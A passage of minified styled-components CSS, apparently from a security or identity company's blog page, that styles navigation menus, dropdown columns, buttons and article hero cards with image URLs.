0.2s ease;transition:color 0.2s ease;color:#FFFEFA;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-align-items:center;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;}/*!sc*/ .goPIno::after{content:'';-webkit-transition:border-color 0.2s ease,-webkit-transform 0.2s ease;-webkit-transition:border-color 0.2s ease,transform 0.2s ease;transition:border-color 0.2s ease,transform 0.2s ease;width:100%;height:0.2rem;border-bottom:0.2rem solid transparent;display:block;bottom:-1.6rem;position:absolute;left:0;-webkit-transform:scale(0,1);-ms-transform:scale(0,1);transform:scale(0,1);}/*!sc*/ data-styled.g470[id="styled__NavElementButton-sc-1755fzv-15"]{content:"goPIno,"}/*!sc*/ .dnWatv{font-family:Aeonik,sans-serif;padding:1.6rem 1.8rem;cursor:pointer;font-size:1.6rem;font-weight:500;line-height:3.2rem;-webkit-letter-spacing:0.02rem;-moz-letter-spacing:0.02rem;-ms-letter-spacing:0.02rem;letter-spacing:0.02rem;}/*!sc*/ .dnWatv .styled__NavElementButton-sc-1755fzv-15 > svg{stroke:#FFFEFA;-webkit-transition:stroke 0.2s ease;transition:stroke 0.2s ease;padding-left:0.4rem;}/*!sc*/ .dnWatv:hover{color:#BCBAFF;}/*!sc*/ .dnWatv:hover .styled__NavElementContentWrapper-sc-1755fzv-14{visibility:visible;opacity:1;-webkit-transform:translateX(0);-ms-transform:translateX(0);transform:translateX(0);}/*!sc*/ .dnWatv:hover .styled__NavElementButton-sc-1755fzv-15{color:#BCBAFF;}/*!sc*/ .dnWatv:hover .styled__NavElementButton-sc-1755fzv-15::after{border-bottom-color:#BCBAFF;-webkit-transform:scale(1,1);-ms-transform:scale(1,1);transform:scale(1,1);}/*!sc*/ .dnWatv:hover .styled__NavElementButton-sc-1755fzv-15 > svg{stroke:#BCBAFF;}/*!sc*/ .dnWatv:focus-visible{color:#BCBAFF;}/*!sc*/ .dnWatv:focus-visible .styled__NavElementContentWrapper-sc-1755fzv-14{visibility:visible;opacity:1;-webkit-transform:translateX(0);-ms-transform:translateX(0);transform:translateX(0);}/*!sc*/ .dnWatv:focus-visible .styled__NavElementButton-sc-1755fzv-15{color:#BCBAFF;}/*!sc*/ .dnWatv:focus-visible .styled__NavElementButton-sc-1755fzv-15::after{border-bottom-color:#BCBAFF;-webkit-transform:scale(1,1);-ms-transform:scale(1,1);transform:scale(1,1);}/*!sc*/ .dnWatv:focus-visible .styled__NavElementButton-sc-1755fzv-15 > svg{stroke:#BCBAFF;}/*!sc*/ .dnWatv:focus-within{color:#BCBAFF;}/*!sc*/ .dnWatv:focus-within .styled__NavElementContentWrapper-sc-1755fzv-14{visibility:visible;opacity:1;-webkit-transform:translateX(0);-ms-transform:translateX(0);transform:translateX(0);}/*!sc*/ .dnWatv:focus-within .styled__NavElementButton-sc-1755fzv-15{color:#BCBAFF;}/*!sc*/ .dnWatv:focus-within .styled__NavElementButton-sc-1755fzv-15::after{border-bottom-color:#BCBAFF;-webkit-transform:scale(1,1);-ms-transform:scale(1,1);transform:scale(1,1);}/*!sc*/ .dnWatv:focus-within .styled__NavElementButton-sc-1755fzv-15 > svg{stroke:#BCBAFF;}/*!sc*/ data-styled.g471[id="styled__NavListEl-sc-1755fzv-16"]{content:"dnWatv,"}/*!sc*/ .jtpgRu{background:rgba(23,23,23,0.96);-webkit-backdrop-filter:blur(14px);backdrop-filter:blur(14px);border:0.1rem solid #2A2A2A;border-radius:1rem;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;}/*!sc*/ data-styled.g472[id="styled__NavElementContent-sc-1755fzv-17"]{content:"jtpgRu,"}/*!sc*/ .xvieK{min-width:31.1rem;width:31.1rem;padding:3.2rem;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column;}/*!sc*/ data-styled.g477[id="styled__Column-sc-1ff7bch-0"]{content:"xvieK,"}/*!sc*/ .ksvdhq{border-right:0.1rem solid #2A2A2A;-webkit-flex:1;-ms-flex:1;flex:1;width:100%;min-width:33%;}/*!sc*/ .kIFVcf{border-right:0.1rem solid #2A2A2A;}/*!sc*/ data-styled.g478[id="styled__FirstColumn-sc-1ff7bch-1"]{content:"ksvdhq,kIFVcf,"}/*!sc*/ .bpIsaL{border-right:0.1rem solid #2A2A2A;-webkit-flex:1;-ms-flex:1;flex:1;width:100%;min-width:33%;}/*!sc*/ .fbRjZO{border-right:0.1rem solid #2A2A2A;}/*!sc*/ data-styled.g479[id="styled__SecondColumn-sc-1ff7bch-2"]{content:"bpIsaL,fbRjZO,"}/*!sc*/ .cUYhhd{width:auto;-webkit-flex:1;-ms-flex:1;flex:1;padding:3.2rem;width:100%;min-width:33%;}/*!sc*/ .dDttGJ{width:auto;-webkit-flex:1;-ms-flex:1;flex:1;padding:3.2rem 0;}/*!sc*/ .gMGasY{width:auto;-webkit-flex:1;-ms-flex:1;flex:1;padding:0;width:100%;min-width:33%;}/*!sc*/ data-styled.g480[id="styled__ThirdColumn-sc-1ff7bch-3"]{content:"cUYhhd,dDttGJ,gMGasY,"}/*!sc*/ .guYaGV{list-style:none;padding:0;height:100%;}/*!sc*/ data-styled.g482[id="styled__List-sc-1p6pq9n-1"]{content:"guYaGV,"}/*!sc*/ .jSbSuj{margin:0;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-align-items:center;-webkit-box-align:center;-ms-flex-align:center;align-items:center;font-family:Aeonik,sans-serif;font-weight:500;font-size:1.4rem;line-height:2.4rem;color:#FFFFFF;}/*!sc*/ .jSbSuj + li{margin-top:1.6rem;}/*!sc*/ .jSbSuj svg{margin-right:1.4rem;min-width:2.4rem;}/*!sc*/ .jSbSuj a{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-align-items:center;-webkit-box-align:center;-ms-flex-align:center;align-items:center;color:#FFFFFF;-webkit-transition:color 0.2s ease;transition:color 0.2s ease;width:100%;}/*!sc*/ .jSbSuj a:hover{color:#BCBAFF;}/*!sc*/ .jSbSuj:last-of-type{margin-bottom:3.2rem;}/*!sc*/ data-styled.g483[id="styled__Element-sc-1p6pq9n-2"]{content:"jSbSuj,"}/*!sc*/ .eDzJqf{border-top:0.1rem solid #2A2A2A;padding-top:2.4rem;}/*!sc*/ data-styled.g485[id="styled__BottomLinkWrapper-sc-1p6pq9n-4"]{content:"eDzJqf,"}/*!sc*/ .dURBhZ{list-style:none;padding:0;display:grid;grid-template-columns:1fr;-webkit-align-items:center;-webkit-box-align:center;-ms-flex-align:center;align-items:center;height:100%;}/*!sc*/ data-styled.g486[id="styled__List-sc-12vkkep-0"]{content:"dURBhZ,"}/*!sc*/ .cetBpD{margin:0;padding:3.2rem;height:14.47rem;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-align-items:center;-webkit-box-align:center;-ms-flex-align:center;align-items:center;}/*!sc*/ .cetBpD + li{border-top:0.1rem solid #2A2A2A;}/*!sc*/ .cetBpD div{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;}/*!sc*/ .cetBpD a{color:#BDC4CF;width:100%;}/*!sc*/ .cetBpD a svg{margin-right:1.4rem;}/*!sc*/ .cetBpD a p{margin:0;}/*!sc*/ .cetBpD a p:first-child{font-weight:500;color:#FFFFFF;-webkit-transition:color 0.2s ease;transition:color 0.2s ease;}/*!sc*/ .cetBpD a:hover p{color:#BDC4CF;}/*!sc*/ .cetBpD a:hover p:first-child{color:#BCBAFF;}/*!sc*/ data-styled.g487[id="styled__Element-sc-12vkkep-1"]{content:"cetBpD,"}/*!sc*/ .gXQAAw a{display:block;color:#FFFFFF;}/*!sc*/ .gXQAAw a:hover{color:#BCBAFF;}/*!sc*/ .gXQAAw a span{font-weight:500;}/*!sc*/ .gXQAAw a + a{margin-top:2.4rem;}/*!sc*/ .gXQAAw a + p{margin-top:3.6rem;}/*!sc*/ data-styled.g488[id="styled__Wrapper-mvo3b8-0"]{content:"gXQAAw,"}/*!sc*/ .dNLwir{padding:0 3.2rem;display:block;}/*!sc*/ .dNLwir:hover p:last-of-type{color:#BCBAFF;}/*!sc*/ .dNLwir:first-child{margin-bottom:2.4rem;}/*!sc*/ data-styled.g492[id="styled__Link-k7d9qa-0"]{content:"dNLwir,"}/*!sc*/ .dXPgwV{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-align-items:center;-webkit-box-align:center;-ms-flex-align:center;align-items:center;}/*!sc*/ data-styled.g493[id="styled__Container-k7d9qa-1"]{content:"dXPgwV,"}/*!sc*/ .iACfSx{border-radius:0.8rem;width:100%;max-width:13rem;height:9rem;margin-right:1.9rem;object-fit:cover;}/*!sc*/ data-styled.g495[id="styled__Image-k7d9qa-3"]{content:"iACfSx,"}/*!sc*/ .iJOdtI{border-top:0.1rem solid #2A2A2A;}/*!sc*/ data-styled.g496[id="styled__Divider-sc-25clja-0"]{content:"iJOdtI,"}/*!sc*/ .gYCAsK{padding:3.2rem 3.2rem 0 3.2rem;}/*!sc*/ data-styled.g497[id="styled__ItemsListContainer-sc-25clja-1"]{content:"gYCAsK,"}/*!sc*/ .gCBQiB{position:relative;padding-left:0.8rem;z-index:100;}/*!sc*/ .gCBQiB:after{content:'';position:absolute;left:0;top:50%;-webkit-transform:translateY(-50%);-ms-transform:translateY(-50%);transform:translateY(-50%);display:inline-block;width:0.1rem;background:#242424;height:2.6rem;}/*!sc*/ data-styled.g498[id="sc-8aqj4j-0"]{content:"gCBQiB,"}/*!sc*/ .fjEeoE{padding:0.6rem 0.55rem;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-align-items:center;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;background:#1E1E1E;-webkit-appearance:none;-moz-appearance:none;appearance:none;border-radius:0.4rem;-webkit-transition:all 0.2s ease-in-out;transition:all 0.2s ease-in-out;outline:0.4rem solid transparent;border:0.2rem solid #1E1E1E;outline-offset:0;}/*!sc*/ .fjEeoE:hover{background:#2A2A2A;}/*!sc*/ .fjEeoE:focus{outline-color:#6B665FCC;border-color:#B6CAFF;}/*!sc*/ data-styled.g499[id="sc-8aqj4j-1"]{content:"fjEeoE,"}/*!sc*/ .gdIxpa{display:none;-webkit-transition:all 0.2s ease-in-out;transition:all 0.2s ease-in-out;}/*!sc*/ data-styled.g500[id="sc-8aqj4j-2"]{content:"gdIxpa,"}/*!sc*/ .iaowVa{list-style:none;}/*!sc*/ data-styled.g501[id="sc-8aqj4j-3"]{content:"iaowVa,"}/*!sc*/ .kTELOh{background:none;width:100%;text-align:left;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-align-items:center;-webkit-box-align:center;-ms-flex-align:center;align-items:center;gap:0.8rem;padding:0.6rem 1.4rem;-webkit-transition:all 0.2s ease-in-out;transition:all 0.2s ease-in-out;border-radius:0.6rem;outline:0.4rem solid transparent;border:0.2rem solid transparent;}/*!sc*/ .kTELOh:hover{background:#2A2A2A;}/*!sc*/ .kTELOh:disabled:hover{background:none;}/*!sc*/ .kTELOh:disabled span{color:#383838;}/*!sc*/ .kTELOh:disabled svg path{stroke:#383838;}/*!sc*/ .kTELOh span{color:#B6CAFF;}/*!sc*/ .kTELOh svg path{stroke:#B6CAFF;}/*!sc*/ .kTELOh:focus{outline-color:#6B665FCC;border-color:#B6CAFF;}/*!sc*/ .jmjPHc{background:none;width:100%;text-align:left;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-align-items:center;-webkit-box-align:center;-ms-flex-align:center;align-items:center;gap:0.8rem;padding:0.6rem 1.4rem;-webkit-transition:all 0.2s ease-in-out;transition:all 0.2s ease-in-out;border-radius:0.6rem;outline:0.4rem solid transparent;border:0.2rem solid transparent;}/*!sc*/ .jmjPHc:hover{background:#2A2A2A;}/*!sc*/ .jmjPHc:disabled:hover{background:none;}/*!sc*/ .jmjPHc:disabled span{color:#383838;}/*!sc*/ .jmjPHc:disabled svg path{fill:#383838;}/*!sc*/ .jmjPHc:focus{outline-color:#6B665FCC;border-color:#B6CAFF;}/*!sc*/ data-styled.g502[id="sc-8aqj4j-4"]{content:"kTELOh,jmjPHc,"}/*!sc*/ .iyxCTh{position:fixed;z-index:999;display:none;}/*!sc*/ @media screen and (min-width:1200px){.iyxCTh{display:block;background:#171717;border-top:0.1rem solid #555555;width:100%;margin-top:10.6rem;top:0;}}/*!sc*/ data-styled.g503[id="sc-19z8ym3-0"]{content:"iyxCTh,"}/*!sc*/ @media screen and (min-width:1200px){.fAWgzp{height:6.4rem;width:100%;background:#111;position:absolute;top:-6.4rem;}}/*!sc*/ data-styled.g504[id="sc-19z8ym3-1"]{content:"fAWgzp,"}/*!sc*/ .ePjeMY{max-width:144rem;padding:0 6.4rem;margin:0 auto;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;gap:5.2rem;-webkit-align-items:center;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;}/*!sc*/ .ePjeMY a:hover,.ePjeMY a:focus{color:#FFFEFA;}/*!sc*/ .ePjeMY a{outline:0.4rem solid transparent;border:0.2rem solid transparent;}/*!sc*/ @media screen and (min-width:1200px) and (max-width:1300px){.ePjeMY{gap:3.2rem;}}/*!sc*/ data-styled.g505[id="sc-19z8ym3-2"]{content:"ePjeMY,"}/*!sc*/ .jdjutH{margin:0;padding:0;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;gap:2.8rem;}/*!sc*/ @media screen and (min-width:1200px) and (max-width:1300px){.jdjutH{gap:2rem;}.jdjutH a{font-size:1.4rem;line-height:1.8rem;}}/*!sc*/ data-styled.g506[id="sc-19z8ym3-3"]{content:"jdjutH,"}/*!sc*/ .cIIkJD{list-style:none;}/*!sc*/ .cIIkJD a{display:block;padding:2rem 0 1.8rem;}/*!sc*/ .cIIkJD:after{display:block;content:'';border-bottom:0.2rem solid #62C0EB;-webkit-transform:scaleX(0);-ms-transform:scaleX(0);transform:scaleX(0);-webkit-transition:-webkit-transform 0.4s ease-in-out;-webkit-transition:transform 0.4s ease-in-out;transition:transform 0.4s ease-in-out;}/*!sc*/ .cIIkJD:hover{color:inherit;}/*!sc*/ .cIIkJD:hover:after{-webkit-transform:scaleX(1);-ms-transform:scaleX(1);transform:scaleX(1);}/*!sc*/ .cIIkJD:hover a{color:#FFFEFA;}/*!sc*/ .kKvPZn{list-style:none;}/*!sc*/ .kKvPZn a{display:block;padding:2rem 0 1.8rem;}/*!sc*/ .kKvPZn:after{display:block;content:'';border-bottom:0.2rem solid #4CB7A3;-webkit-transform:scaleX(0);-ms-transform:scaleX(0);transform:scaleX(0);-webkit-transition:-webkit-transform 0.4s ease-in-out;-webkit-transition:transform 0.4s ease-in-out;transition:transform 0.4s ease-in-out;}/*!sc*/ .kKvPZn:hover{color:inherit;}/*!sc*/ .kKvPZn:hover:after{-webkit-transform:scaleX(1);-ms-transform:scaleX(1);transform:scaleX(1);}/*!sc*/ .kKvPZn:hover a{color:#FFFEFA;}/*!sc*/ .iVeAMP{list-style:none;}/*!sc*/ .iVeAMP a{display:block;padding:2rem 0 1.8rem;}/*!sc*/ .iVeAMP:after{display:block;content:'';border-bottom:0.2rem solid #B49BFC;-webkit-transform:scaleX(0);-ms-transform:scaleX(0);transform:scaleX(0);-webkit-transition:-webkit-transform 0.4s ease-in-out;-webkit-transition:transform 0.4s ease-in-out;transition:transform 0.4s ease-in-out;}/*!sc*/ .iVeAMP:hover{color:inherit;}/*!sc*/ .iVeAMP:hover:after{-webkit-transform:scaleX(1);-ms-transform:scaleX(1);transform:scaleX(1);}/*!sc*/ .iVeAMP:hover a{color:#FFFEFA;}/*!sc*/ .fJixJm{list-style:none;}/*!sc*/ .fJixJm a{display:block;padding:2rem 0 1.8rem;}/*!sc*/ .fJixJm:after{display:block;content:'';border-bottom:0.2rem solid #E27133;-webkit-transform:scaleX(0);-ms-transform:scaleX(0);transform:scaleX(0);-webkit-transition:-webkit-transform 0.4s ease-in-out;-webkit-transition:transform 0.4s ease-in-out;transition:transform 0.4s ease-in-out;}/*!sc*/ .fJixJm:hover{color:inherit;}/*!sc*/ .fJixJm:hover:after{-webkit-transform:scaleX(1);-ms-transform:scaleX(1);transform:scaleX(1);}/*!sc*/ .fJixJm:hover a{color:#FFFEFA;}/*!sc*/ .gbVuTJ{list-style:none;}/*!sc*/ .gbVuTJ a{display:block;padding:2rem 0 1.8rem;}/*!sc*/ .gbVuTJ:after{display:block;content:'';border-bottom:0.2rem solid #F4D594;-webkit-transform:scaleX(0);-ms-transform:scaleX(0);transform:scaleX(0);-webkit-transition:-webkit-transform 0.4s ease-in-out;-webkit-transition:transform 0.4s ease-in-out;transition:transform 0.4s ease-in-out;}/*!sc*/ .gbVuTJ:hover{color:inherit;}/*!sc*/ .gbVuTJ:hover:after{-webkit-transform:scaleX(1);-ms-transform:scaleX(1);transform:scaleX(1);}/*!sc*/ .gbVuTJ:hover a{color:#FFFEFA;}/*!sc*/ .gXNXgh{list-style:none;color:inherit;}/*!sc*/ .gXNXgh a{display:block;padding:2rem 0 1.8rem;}/*!sc*/ .gXNXgh:after{display:block;content:'';border-bottom:0.2rem solid #7192EC;-webkit-transform:scaleX(0);-ms-transform:scaleX(0);transform:scaleX(0);-webkit-transition:-webkit-transform 0.4s ease-in-out;-webkit-transition:transform 0.4s ease-in-out;transition:transform 0.4s ease-in-out;}/*!sc*/ .gXNXgh:hover{color:inherit;}/*!sc*/ .gXNXgh:hover:after{-webkit-transform:scaleX(1);-ms-transform:scaleX(1);transform:scaleX(1);}/*!sc*/ .gXNXgh:hover a{color:#FFFEFA;}/*!sc*/ .gXNXgh:after{-webkit-transform:scaleX(1);-ms-transform:scaleX(1);transform:scaleX(1);}/*!sc*/ .gXNXgh a{color:({ theme}) => theme.blog.HeaderNav.textColor;}/*!sc*/ .fInsdZ{list-style:none;}/*!sc*/ .fInsdZ a{display:block;padding:2rem 0 1.8rem;}/*!sc*/ .fInsdZ:after{display:block;content:'';border-bottom:0.2rem solid #E991B0;-webkit-transform:scaleX(0);-ms-transform:scaleX(0);transform:scaleX(0);-webkit-transition:-webkit-transform 0.4s ease-in-out;-webkit-transition:transform 0.4s ease-in-out;transition:transform 0.4s ease-in-out;}/*!sc*/ .fInsdZ:hover{color:inherit;}/*!sc*/ .fInsdZ:hover:after{-webkit-transform:scaleX(1);-ms-transform:scaleX(1);transform:scaleX(1);}/*!sc*/ .fInsdZ:hover a{color:#FFFEFA;}/*!sc*/ data-styled.g507[id="sc-19z8ym3-4"]{content:"cIIkJD,kKvPZn,iVeAMP,fJixJm,gbVuTJ,gXNXgh,fInsdZ,"}/*!sc*/ .hkZJsJ{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-align-items:center;-webkit-box-align:center;-ms-flex-align:center;align-items:center;width:100%;-webkit-flex:1;-ms-flex:1;flex:1;-webkit-box-pack:end;-webkit-justify-content:flex-end;-ms-flex-pack:end;justify-content:flex-end;}/*!sc*/ data-styled.g508[id="sc-19z8ym3-5"]{content:"hkZJsJ,"}/*!sc*/ .bHAfBe{width:100vw;display:none;position:fixed;left:0;top:16rem;}/*!sc*/ .bHAfBe br{display:none;}/*!sc*/ .bHAfBe fieldset,.bHAfBe input{min-width:12.5rem;}/*!sc*/ .bHAfBe input{width:100%;}/*!sc*/ .bHAfBe input:focus{border-width:0.1rem;}/*!sc*/ @media screen and (min-width:900px){.bHAfBe{padding:0 6.4rem;}}/*!sc*/ @media screen and (max-width:1200px){.bHAfBe input{border-radius:0;border-width:0.1rem 0;}.bHAfBe input:hover{border-width:0.1rem 0;}}/*!sc*/ @media screen and (min-width:1200px) and (max-width:1300px){.bHAfBe{padding:0;padding-right:0.8rem;}}/*!sc*/ @media screen and (min-width:1200px){.bHAfBe{display:block;max-width:29rem;width:100%;position:relative;top:0;padding-right:1.6rem;}.bHAfBe input{max-height:4rem;max-width:29rem;width:100%;}.bHAfBe input:focus{border-width:0.1rem;}}/*!sc*/ data-styled.g511[id="sc-8jxe5n-1"]{content:"bHAfBe,"}/*!sc*/ .exdfoO{-webkit-appearance:none;-moz-appearance:none;appearance:none;background:none;border:0;margin:0;padding:0;}/*!sc*/ @media screen and (min-width:1200px){.exdfoO{display:none;}}/*!sc*/ data-styled.g513[id="sc-8jxe5n-3"]{content:"exdfoO,"}/*!sc*/ .iPbnr{position:relative;}/*!sc*/ data-styled.g515[id="sc-1q6s0ef-0"]{content:"iPbnr,"}/*!sc*/ .cmMjKH{display:block;background:#171717;border-top:0.1rem solid #555555;width:100%;z-index:200;position:fixed;}/*!sc*/ @media screen and (min-width:1200px){.cmMjKH{display:none;}}/*!sc*/ data-styled.g542[id="sc-1gkkh2j-0"]{content:"cmMjKH,"}/*!sc*/ .hfnTjw{max-width:144rem;padding:1.2rem 1.6rem;margin:0 auto;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-align-items:center;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;}/*!sc*/ @media screen and (min-width:900px){.hfnTjw{padding:1.2rem 6.4rem;}}/*!sc*/ data-styled.g543[id="sc-1gkkh2j-1"]{content:"hfnTjw,"}/*!sc*/ .djkNR{visibility:hidden;z-index:8;position:absolute;background:#171717;width:100%;height:100vh;-webkit-transform:translateY(-1rem);-ms-transform:translateY(-1rem);transform:translateY(-1rem);-webkit-transition:-webkit-transform 0.5s ease,visibility 0.4s ease;-webkit-transition:transform 0.5s ease,visibility 0.4s ease;transition:transform 0.5s ease,visibility 0.4s ease;display:block;overflow-y:scroll;overflow-x:hidden;top:5.6rem;left:0;right:0;}/*!sc*/ data-styled.g544[id="sc-1gkkh2j-2"]{content:"djkNR,"}/*!sc*/ .jqUhwM{padding:0;margin:0;border:none;background:none;height:2.4rem;width:2.4rem;-webkit-transition:-webkit-transform 0.5s ease-in-out;-webkit-transition:transform 0.5s ease-in-out;transition:transform 0.5s ease-in-out;-webkit-transform:rotate(0deg);-ms-transform:rotate(0deg);transform:rotate(0deg);}/*!sc*/ data-styled.g546[id="sc-1gkkh2j-4"]{content:"jqUhwM,"}/*!sc*/ .ktqmki{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-align-items:center;-webkit-box-align:center;-ms-flex-align:center;align-items:center;}/*!sc*/ data-styled.g547[id="sc-1gkkh2j-5"]{content:"ktqmki,"}/*!sc*/ .drcxHp{margin:0;padding:0;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;list-style:none;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column;-webkit-align-items:flex-start;-webkit-box-align:flex-start;-ms-flex-align:flex-start;align-items:flex-start;}/*!sc*/ data-styled.g548[id="sc-1gkkh2j-6"]{content:"drcxHp,"}/*!sc*/ .eAKUYk{width:100%;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;-webkit-align-items:center;-webkit-box-align:center;-ms-flex-align:center;align-items:center;padding:2.4rem 1.6rem;}/*!sc*/ data-styled.g549[id="sc-1gkkh2j-7"]{content:"eAKUYk,"}/*!sc*/ .bUbYVZ{list-style:none;border-bottom:0.1rem solid rgba(128,128,128,0.6);width:100%;background:linear-gradient(90deg,rgba(17,17,17,0.00) 0%,rgba(98,192,235,0.12) 100%);}/*!sc*/ .jZeTEE{list-style:none;border-bottom:0.1rem solid rgba(128,128,128,0.6);width:100%;background:linear-gradient(90deg,rgba(17,17,17,0.00) 0%,rgba(9,98,86,0.12) 100%);}/*!sc*/ .eMQqDZ{list-style:none;border-bottom:0.1rem solid rgba(128,128,128,0.6);width:100%;background:linear-gradient(90deg,rgba(17,17,17,0.00) 0%,rgba(117,73,242,0.12) 100%);}/*!sc*/ .fiENtL{list-style:none;border-bottom:0.1rem solid rgba(128,128,128,0.6);width:100%;background:linear-gradient(90deg,rgba(17,17,17,0.00) 0%,rgba(226,113,51,0.12) 100%);}/*!sc*/ .dPGYxJ{list-style:none;border-bottom:0.1rem solid rgba(128,128,128,0.6);width:100%;background:linear-gradient(90deg,rgba(17,17,17,0.00) 0%,rgba(244,213,148,0.12) 100%);}/*!sc*/ .jtthK{list-style:none;border-bottom:0.1rem solid rgba(128,128,128,0.6);width:100%;background:linear-gradient(90deg,rgba(17,17,17,0.00) 0%,rgba(153,167,241,0.12) 100%);}/*!sc*/ .kvjbE{list-style:none;border-bottom:0.1rem solid rgba(128,128,128,0.6);width:100%;background:linear-gradient(90deg,rgba(17,17,17,0.00) 0%,rgba(233,145,176,0.12) 100%);}/*!sc*/ data-styled.g550[id="sc-1gkkh2j-8"]{content:"bUbYVZ,jZeTEE,eMQqDZ,fiENtL,dPGYxJ,jtthK,kvjbE,"}/*!sc*/ .hAGWZa{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-align-items:center;-webkit-box-align:center;-ms-flex-align:center;align-items:center;}/*!sc*/ data-styled.g551[id="sc-1gkkh2j-9"]{content:"hAGWZa,"}/*!sc*/ .kpLfjt{border-bottom:0.1rem solid #808080;}/*!sc*/ data-styled.g553[id="sc-1gkkh2j-11"]{content:"kpLfjt,"}/*!sc*/ .dOVPCc{margin-right:1.6rem;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;}/*!sc*/ data-styled.g558[id="sc-1gkkh2j-16"]{content:"dOVPCc,"}/*!sc*/ .hirdXK{display:none;background:#E8DCC7;min-height:14rem;height:14rem;-webkit-transition:all 0.2s ease;transition:all 0.2s ease;width:100%;z-index:1;}/*!sc*/ @media screen and (min-width:1200px){.hirdXK{display:block;min-height:19.2rem;height:19.2rem;}}/*!sc*/ data-styled.g565[id="sc-1akycv5-0"]{content:"hirdXK,"}/*!sc*/ .dsgPam{background-image:url(https://images.ctfassets.net/23aumh6u8s0i/18hCrkkVXFeeBwkAtezdS7/b2f50dd980a57e42e04866af64be8c14/Introducing_Auth0_Actions02C.png);background-size:cover;background-position:center;height:100%;}/*!sc*/ .hfPDwF{background-image:url(https://images.ctfassets.net/23aumh6u8s0i/5uiCrgxZ9YwqMpjWAsaKux/40ec9240d733f5738988f5f18cfd1fc9/FGA_Blogpost_Hero.png);background-size:cover;background-position:center;height:100%;}/*!sc*/ .dteBRJ{background-image:url(https://images.ctfassets.net/23aumh6u8s0i/7tiXdl3hqVv1Zf4ieYQ4to/a28cbc1e456759e92860edd79a07463a/nodejs);background-size:cover;background-position:center;height:100%;}/*!sc*/ .dPVXPk{background-image:url(https://images.ctfassets.net/23aumh6u8s0i/6zV5rhlqeyOXo74FnkioxU/8edc1edbe6282b46cb2b95c989cb695e/code-review);background-size:cover;background-position:center;height:100%;}/*!sc*/ .hooDnm{background-image:url(https://images.ctfassets.net/23aumh6u8s0i/4UyoAXBqitctuVKL4L7Ieq/ebe7b16a115eaa1737c39002e0d0b7ee/Eth_hero.jpg);background-size:cover;background-position:center;height:100%;}/*!sc*/ .bbPGqD{background-image:url(https://images.ctfassets.net/23aumh6u8s0i/5ebGrKp5IpW8CyG4GgRhFj/d8deba1e3aa502069f44f61ed802ec09/FGA.png);background-size:cover;background-position:center;height:100%;}/*!sc*/ .gpZzSB{background-image:url(https://images.ctfassets.net/23aumh6u8s0i/51CZ0GAmVIgBS3zOEvMHG3/0525d0864a0a6d5f43ea6c46882c2ce0/shift-left-header);background-size:cover;background-position:center;height:100%;}/*!sc*/ .cVIrKR{background-image:url(https://images.ctfassets.net/23aumh6u8s0i/4wcjzYtIjzf0TE23RNwOXQ/63f62d19070053e95fe09ef218ed7fb6/engineering);background-size:cover;background-position:center;height:100%;}/*!sc*/ .iuvkoL{background-image:url(https://images.ctfassets.net/23aumh6u8s0i/7ngaWjpIEI0NJqKQzz2dSN/f21da2f31258421f9f2de337defc7f39/cloud-security);background-size:cover;background-position:center;height:100%;}/*!sc*/ data-styled.g566[id="sc-1akycv5-1"]{content:"dsgPam,hfPDwF,dteBRJ,dPVXPk,hooDnm,bbPGqD,gpZzSB,cVIrKR,iuvkoL,"}/*!sc*/ .kZamtW{background:#1E1E1E;border-radius:1.6rem;cursor:pointer;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column;-webkit-transition:all 0.2s ease-in;transition:all 0.2s ease-in;overflow:hidden;position:relative;-webkit-transform:translateY(100px);-ms-transform:translateY(100px);transform:translateY(100px);border-bottom:0.1rem solid #2A2A2A;-webkit-transform:translateY(14.4rem);-ms-transform:translateY(14.4rem);transform:translateY(14.4rem);opacity:0;-webkit-animation:DPLcZ 500ms ease-out;animation:DPLcZ 500ms ease-out;-webkit-animation-delay:150ms;animation-delay:150ms;-webkit-animation-fill-mode:forwards;animation-fill-mode:forwards;}/*!sc*/ .kZamtW:before{position:absolute;content:'';inset:0;background:radial-gradient(70.73% 156.97% at 50% -67.43%,#4352A4 0%,#1E1E1E 100%);z-index:1;opacity:0;-webkit-transition:opacity 0.25s ease-in-out;transition:opacity 0.25s ease-in-out;}/*!sc*/ .kZamtW:hover:before{opacity:1;}/*!sc*/ .kZamtW:hover 